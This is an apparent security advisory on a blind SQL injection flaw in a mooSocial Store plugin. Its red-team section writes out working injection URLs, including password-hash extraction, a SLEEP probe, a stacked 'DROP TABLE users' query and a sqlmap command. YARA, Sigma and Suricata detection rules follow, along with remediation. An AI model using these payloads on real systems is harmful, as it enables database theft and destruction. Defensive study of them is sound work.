CVE-2018-25371

Executive Summary

CVE-2018-25371 is a critical blind SQL injection vulnerability in the mooSocial Store Plugin version 2.6. The flaw resides in the URL rewrite functionality, specifically within the product parameter. Unauthenticated attackers can exploit this to perform boolean-based, time-based, or stacked query injections, leading to unauthorized extraction of sensitive database information. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for full database compromise. No official patch or advisory has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the mooSocial Store Plugin, which is a commercial plugin for the mooSocial platform. It is not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct installations of the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Potential to modify data via stacked queries.
• Availability (A): High (H) – Stacked queries can disrupt database operations.

Threat Level: Critical. Unauthenticated remote exploitation with high impact on all security pillars.

Deep Dive & Mechanics

The vulnerability exists in the URL rewrite module of the mooSocial Store Plugin. The product parameter is used to construct database queries without proper sanitization or parameterization. Attackers can inject SQL code through this parameter, leveraging blind injection techniques to infer data.

Boolean-based blind injection: The attacker sends payloads that cause the application to return different responses based on true/false conditions, allowing character-by-character extraction of data.

Time-based blind injection: The attacker uses SLEEP() or BENCHMARK() functions to introduce delays, inferring data based on response times.

Stacked queries: The attacker can terminate the original query and execute additional SQL statements, enabling data modification or deletion.

The injection point is in the URL rewrite logic, likely in a PHP file handling product routes. The vulnerable code does not use prepared statements or parameterized queries.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$product = $_GET['product'];
$query = "SELECT * FROM products WHERE name = '$product'";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

$product = $_GET['product'];
$stmt = $conn->prepare("SELECT * FROM products WHERE name = ?");
$stmt->bind_param("s", $product);
$stmt->execute();
$result = $stmt->get_result();

No official patch is available. The fix requires parameterized queries or input validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• mooSocial Store Plugin 2.6 installed.
• Access to the vulnerable endpoint (e.g., /store/product/).

Exploitation Steps:

1. Identify the vulnerable parameter: The product parameter in the URL rewrite.
2. Boolean-based blind injection:

   /store/product/1' AND 1=1-- -
   /store/product/1' AND 1=2-- -
   

   Observe response differences to confirm injection.
3. Extract data (e.g., admin password hash):

   /store/product/1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
   

   Iterate through characters.
4. Time-based blind injection:

   /store/product/1' AND IF(1=1,SLEEP(5),0)-- -
   

   Use delays to infer conditions.
5. Stacked queries (if supported):

   /store/product/1'; DROP TABLE users-- -
   

Automation: Use sqlmap with the following command:

sqlmap -u "http://target.com/store/product/1*" --batch --dbs

Blue Team

Detection:

• Monitor for unusual SQL keywords in URL parameters (e.g., AND, OR, SLEEP, UNION).
• Look for repeated requests with slight variations (character-by-character extraction).
• Alert on response time anomalies (time-based injection).

Hunting:

• Search logs for product parameter containing SQL syntax.
• Correlate with database error logs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /store/product/ with SQL keywords.
  • Unusual response times (e.g., >5 seconds).
• Logs:
  • Web server logs showing product parameter with ', --, SLEEP, etc.
  • Database logs with errors like You have an error in your SQL syntax.
• File System:
  • Modified or deleted database tables.
  • New files in web root (if stacked queries allow file write).

Detection Engineering

YARA Rule

rule CVE_2018_25371_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2018-25371"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25371"
    strings:
        $sqli1 = /product\/[^\/]*['\"]\s*(AND|OR)\s+\d+\s*=\s*\d+/i
        $sqli2 = /product\/[^\/]*['\"]\s*(AND|OR)\s+IF\s*\(/i
        $sqli3 = /product\/[^\/]*['\"]\s*;\s*(DROP|DELETE|INSERT|UPDATE)/i
        $sqli4 = /product\/[^\/]*['\"]\s*SLEEP\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2018-25371 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against mooSocial Store Plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "product/"
            - "'"
            - "AND"
            - "OR"
            - "SLEEP"
            - "IF("
            - "DROP"
            - "DELETE"
            - "INSERT"
            - "UPDATE"
    condition: selection
falsepositives:
    - Legitimate use of product names containing SQL keywords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2018-25371 SQL Injection Attempt"; flow:to_server; content:"/store/product/"; http_uri; pcre:"/product\/[^\/]*['\"]\s*(AND|OR|SLEEP|IF\s*\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential.
2. Implement a WAF rule to block SQL injection patterns in the product parameter.
3. Apply input validation: Whitelist allowed characters (e.g., alphanumeric only) for the product parameter.

Long-term Fix:

• Upgrade to a patched version of the plugin (if available).
• Use parameterized queries or prepared statements in all database interactions.
• Conduct a security audit of the entire plugin.

Compromise Assessment:

• Check database for unauthorized modifications.
• Review logs for exploitation attempts.
• Rotate all credentials stored in the database.

Valters IT